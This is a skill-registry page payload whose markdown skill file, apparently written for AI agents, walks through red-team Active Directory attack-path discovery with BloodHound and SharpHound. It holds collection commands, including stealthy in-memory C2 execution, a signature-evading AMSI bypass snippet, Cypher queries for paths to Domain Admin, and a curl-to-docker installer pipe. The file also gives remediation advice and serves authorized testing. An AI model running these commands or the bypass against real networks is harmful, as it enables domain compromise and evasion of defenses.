[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73E6Q31CDF9BFNYAS2AMW1K":3,"skill-same:01M73E6Q31CDF9BFNYAS2AMW1K":113},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":55,"commitSha":56,"skillDirectory":57,"forksCount":58,"repositoryHtmlUrl":59,"repositoryHomepageUrl":60,"ownerHtmlUrl":61,"ownerBlogUrl":62,"ownerDescription":63,"updatedAt":64,"install":65,"resources":78},"01M73E6Q31CDF9BFNYAS2AMW1K","performing-active-directory-bloodhound-analysis",null,"Use BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-active-directory-bloodhound-analysis\ndescription: Use BloodHound and SharpHound to enumerate Active Directory relationships\n  and identify attack paths from compromised users to Domain Admin.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- bloodhound\n- active-directory\n- sharphound\n- attack-path\n- ad-enumeration\n- graph-theory\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Restore Access\n- Password Authentication\n- Biometric Authentication\n- Strong Password Policy\n- Restore User Account Access\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\n---\n\n# Performing Active Directory BloodHound Analysis\n\n## Overview\n\nBloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory bloodhound analysis\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Initial foothold on a domain-joined Windows system (or valid domain credentials)\n- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed\n- SharpHound collector (C# binary or PowerShell module)\n- Neo4j database (Legacy) or PostgreSQL (CE)\n- Network access to domain controllers (LDAP TCP\u002F389, LDAPS TCP\u002F636)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |\n| T1018 | Remote System Discovery | Discovery |\n| T1482 | Domain Trust Discovery | Discovery |\n| T1615 | Group Policy Discovery | Discovery |\n| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |\n\n## Step 1: Data Collection with SharpHound\n\n### SharpHound.exe (Preferred for OPSEC)\n\n```powershell\n# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)\n.\\SharpHound.exe -c All --outputdirectory C:\\Temp --zipfilename bloodhound_data.zip\n\n# Stealth mode - collect only structure data (no session enumeration)\n.\\SharpHound.exe -c DCOnly --outputdirectory C:\\Temp\n\n# Collect with specific domain and credentials\n.\\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123\n\n# Loop collection - collect sessions over time for better coverage\n.\\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00\n\n# Collect from Havoc C2 Demon session (in-memory)\ndotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All --memcache --outputdirectory C:\\Temp\n```\n\n### Invoke-BloodHound (PowerShell)\n\n```powershell\n# Import and run\nImport-Module .\\SharpHound.ps1\nInvoke-BloodHound -CollectionMethod All -OutputDirectory C:\\Temp -ZipFileName bh.zip\n\n# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching\n$t = 'System.Management.Automation.Am' + 'siUtils'\n[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)\n```\n\n### AzureHound (Azure AD)\n\n```bash\n# Collect Azure AD data\nazurehound list -t \u003Ctenant-id> --refresh-token \u003Ctoken> -o azure_data.json\n\n# Or using AzureHound PowerShell\nImport-Module .\\AzureHound.ps1\nInvoke-AzureHound\n```\n\n## Step 2: Import Data into BloodHound\n\n### BloodHound CE (v5+)\n\n```bash\n# Start BloodHound CE with Docker\ncurl -L https:\u002F\u002Fghst.ly\u002Fgetbhce | docker compose -f - up\n\n# Access web interface at https:\u002F\u002Flocalhost:8080\n# Default credentials: admin \u002F bloodhound\n# Upload ZIP file via GUI: Upload Data > Select File\n```\n\n### BloodHound Legacy\n\n```bash\n# Start Neo4j\nsudo neo4j start\n# Access Neo4j at http:\u002F\u002Flocalhost:7474 (default neo4j:neo4j)\n\n# Start BloodHound GUI\n.\u002FBloodHound --no-sandbox\n\n# Drag and drop ZIP file into BloodHound GUI\n```\n\n## Step 3: Attack Path Analysis\n\n### Pre-Built Queries (Most Critical)\n\n```cypher\n-- Find all Domain Admins\nMATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n\n\n-- Shortest path from owned user to Domain Admin\nMATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find AS-REP Roastable users\nMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname\n\n-- Users with DCSync rights\nMATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)\nMATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)\nRETURN n1.name\n\n-- Find computers where Domain Users are local admin\nMATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p\n\n-- Find unconstrained delegation computers\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name\n\n-- Find constrained delegation abuse paths\nMATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate\n\n-- GPO abuse paths\nMATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)\nRETURN p LIMIT 50\n\n-- Find all sessions on high-value targets\nMATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})\nRETURN c.name, u.name, g.name\n```\n\n### Custom Cypher Queries\n\n```cypher\n-- Find users with GenericAll on other users (password reset path)\nMATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name\n\n-- Find WriteDACL paths (ACL abuse)\nMATCH p=(n)-[:WriteDacl]->(m) WHERE n\u003C>m RETURN p LIMIT 50\n\n-- Find AddMember rights to privileged groups\nMATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name\n\n-- Map trust relationships\nMATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name\n\n-- Find service accounts with admin access\nMATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name\n```\n\n## Step 4: Common Attack Paths\n\n### Path 1: Kerberoasting to DA\n```\nUser (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->\nServer HasSession DA -> Steal Token -> Domain Admin\n```\n\n### Path 2: ACL Abuse Chain\n```\nUser (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->\nIT Admins -> AdminTo DC -> Domain Admin\n```\n\n### Path 3: Unconstrained Delegation\n```\nUser (owned) -> AdminTo Server (Unconstrained Delegation) ->\nCoerce DC Auth (PrinterBug\u002FPetitPotam) -> Capture TGT -> DCSync\n```\n\n### Path 4: GPO Abuse\n```\nUser (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->\nCode Execution as SYSTEM\n```\n\n## Step 5: Remediation Recommendations\n\n| Finding | Risk | Remediation |\n|---|---|---|\n| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |\n| Unconstrained Delegation | Critical | Migrate to constrained\u002FRBCD delegation |\n| Domain Users local admin | High | Remove DA from local admin, use LAPS |\n| Excessive ACL permissions | High | Audit and reduce GenericAll\u002FWriteDACL |\n| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |\n| Cross-domain trust abuse | High | Review trust direction and SID filtering |\n\n## References\n\n- BloodHound GitHub: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- BloodHound CE: https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound\n- SharpHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FSharpHound\n- MITRE ATT&CK S0521: https:\u002F\u002Fattack.mitre.org\u002Fsoftware\u002FS0521\u002F\n- SpecterOps BloodHound Documentation: https:\u002F\u002Fbloodhound.readthedocs.io\u002F\n","# Performing Active Directory BloodHound Analysis\n\n## Overview\n\nBloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory bloodhound analysis\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Initial foothold on a domain-joined Windows system (or valid domain credentials)\n- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed\n- SharpHound collector (C# binary or PowerShell module)\n- Neo4j database (Legacy) or PostgreSQL (CE)\n- Network access to domain controllers (LDAP TCP\u002F389, LDAPS TCP\u002F636)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |\n| T1018 | Remote System Discovery | Discovery |\n| T1482 | Domain Trust Discovery | Discovery |\n| T1615 | Group Policy Discovery | Discovery |\n| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |\n\n## Step 1: Data Collection with SharpHound\n\n### SharpHound.exe (Preferred for OPSEC)\n\n```powershell\n# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)\n.\\SharpHound.exe -c All --outputdirectory C:\\Temp --zipfilename bloodhound_data.zip\n\n# Stealth mode - collect only structure data (no session enumeration)\n.\\SharpHound.exe -c DCOnly --outputdirectory C:\\Temp\n\n# Collect with specific domain and credentials\n.\\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123\n\n# Loop collection - collect sessions over time for better coverage\n.\\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00\n\n# Collect from Havoc C2 Demon session (in-memory)\ndotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All --memcache --outputdirectory C:\\Temp\n```\n\n### Invoke-BloodHound (PowerShell)\n\n```powershell\n# Import and run\nImport-Module .\\SharpHound.ps1\nInvoke-BloodHound -CollectionMethod All -OutputDirectory C:\\Temp -ZipFileName bh.zip\n\n# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching\n$t = 'System.Management.Automation.Am' + 'siUtils'\n[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)\n```\n\n### AzureHound (Azure AD)\n\n```bash\n# Collect Azure AD data\nazurehound list -t \u003Ctenant-id> --refresh-token \u003Ctoken> -o azure_data.json\n\n# Or using AzureHound PowerShell\nImport-Module .\\AzureHound.ps1\nInvoke-AzureHound\n```\n\n## Step 2: Import Data into BloodHound\n\n### BloodHound CE (v5+)\n\n```bash\n# Start BloodHound CE with Docker\ncurl -L https:\u002F\u002Fghst.ly\u002Fgetbhce | docker compose -f - up\n\n# Access web interface at https:\u002F\u002Flocalhost:8080\n# Default credentials: admin \u002F bloodhound\n# Upload ZIP file via GUI: Upload Data > Select File\n```\n\n### BloodHound Legacy\n\n```bash\n# Start Neo4j\nsudo neo4j start\n# Access Neo4j at http:\u002F\u002Flocalhost:7474 (default neo4j:neo4j)\n\n# Start BloodHound GUI\n.\u002FBloodHound --no-sandbox\n\n# Drag and drop ZIP file into BloodHound GUI\n```\n\n## Step 3: Attack Path Analysis\n\n### Pre-Built Queries (Most Critical)\n\n```cypher\n-- Find all Domain Admins\nMATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n\n\n-- Shortest path from owned user to Domain Admin\nMATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find AS-REP Roastable users\nMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname\n\n-- Users with DCSync rights\nMATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)\nMATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)\nRETURN n1.name\n\n-- Find computers where Domain Users are local admin\nMATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p\n\n-- Find unconstrained delegation computers\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name\n\n-- Find constrained delegation abuse paths\nMATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate\n\n-- GPO abuse paths\nMATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)\nRETURN p LIMIT 50\n\n-- Find all sessions on high-value targets\nMATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})\nRETURN c.name, u.name, g.name\n```\n\n### Custom Cypher Queries\n\n```cypher\n-- Find users with GenericAll on other users (password reset path)\nMATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name\n\n-- Find WriteDACL paths (ACL abuse)\nMATCH p=(n)-[:WriteDacl]->(m) WHERE n\u003C>m RETURN p LIMIT 50\n\n-- Find AddMember rights to privileged groups\nMATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name\n\n-- Map trust relationships\nMATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name\n\n-- Find service accounts with admin access\nMATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name\n```\n\n## Step 4: Common Attack Paths\n\n### Path 1: Kerberoasting to DA\n```\nUser (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->\nServer HasSession DA -> Steal Token -> Domain Admin\n```\n\n### Path 2: ACL Abuse Chain\n```\nUser (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->\nIT Admins -> AdminTo DC -> Domain Admin\n```\n\n### Path 3: Unconstrained Delegation\n```\nUser (owned) -> AdminTo Server (Unconstrained Delegation) ->\nCoerce DC Auth (PrinterBug\u002FPetitPotam) -> Capture TGT -> DCSync\n```\n\n### Path 4: GPO Abuse\n```\nUser (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->\nCode Execution as SYSTEM\n```\n\n## Step 5: Remediation Recommendations\n\n| Finding | Risk | Remediation |\n|---|---|---|\n| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |\n| Unconstrained Delegation | Critical | Migrate to constrained\u002FRBCD delegation |\n| Domain Users local admin | High | Remove DA from local admin, use LAPS |\n| Excessive ACL permissions | High | Audit and reduce GenericAll\u002FWriteDACL |\n| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |\n| 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